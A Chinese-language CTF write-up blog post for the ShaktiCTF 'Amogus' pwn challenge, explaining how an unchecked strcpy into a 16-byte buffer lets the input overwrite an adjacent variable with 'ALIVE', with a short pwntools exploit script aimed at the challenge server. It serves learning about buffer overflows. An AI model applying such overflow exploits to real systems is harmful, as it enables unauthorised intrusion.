2025-07-26-shaktictf-Amogus

题目简介

一道shaktictf比赛上的题目,链接在这7月26日shaktictf比赛:Amogus原题

原本的英文题目描述如下:

I always end up dying in this Amogus game… before I even get a chance to properly play! Ugh!

Is there any way I can escape this cruel fate?

大概意思就是目标二进制程序是模拟一个游戏,但是每次一开始就会死亡,需要我们找到办法正确启动游戏(避免死亡)

漏洞点分析

反正光看描述是云里雾里的,只能猜到应该是要绕过一个什么验证

于是直接把附件给的ELF拖到IDA里面看下:


首先如上图,在IDA里观察main函数调用了一个gameplay函数,联想到题目描述,导致“死亡”的元凶应该在这个gameplay里面,追踪进去看一下:


分析这个函数可以发现,需要v4变量=”ALIVE”才能获得flag,但是在校验之前v4有一个将”DEAD”拷贝给v4的操作,看起来似乎v4必定会=“DEAD”

但是,注意到第11行的字符串拷贝语句,由于strcpy不会检查长度,而是遇到0字节停止,而恰好dest缓冲区在v4下方,而参数a1又是攻击者可控的,因此可以通过dest溢出将v4覆盖为”ALIVE”

漏洞点利用

dest缓冲区16个字节,只需要填满dest缓冲区,再加上”ALIVE”,最后以0字节截断即可

由此构造的payload=b’1’*16+b”ALIVE”+b’\x00’,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
targetELF="./pwn"
# ioTube=process(targetELF)
ioTube=remote("43.205.113.100",8027)
payload=b'1'*16+b"ALIVE"+b'\x00'
ioTube.recvuntil("Enter your name:\n\n")
ioTube.sendline(payload)
response=ioTube.recv().decode(errors="ignore")
print("flag included in {}\n".format(response))

2025-07-26-shaktictf-Amogus
http://0x4a-210.github.io/2025/07/26/pwn刷题记录/其他技巧类/2025-07-26-shaktictf-Amogus/
Posted on
July 26, 2025
Licensed under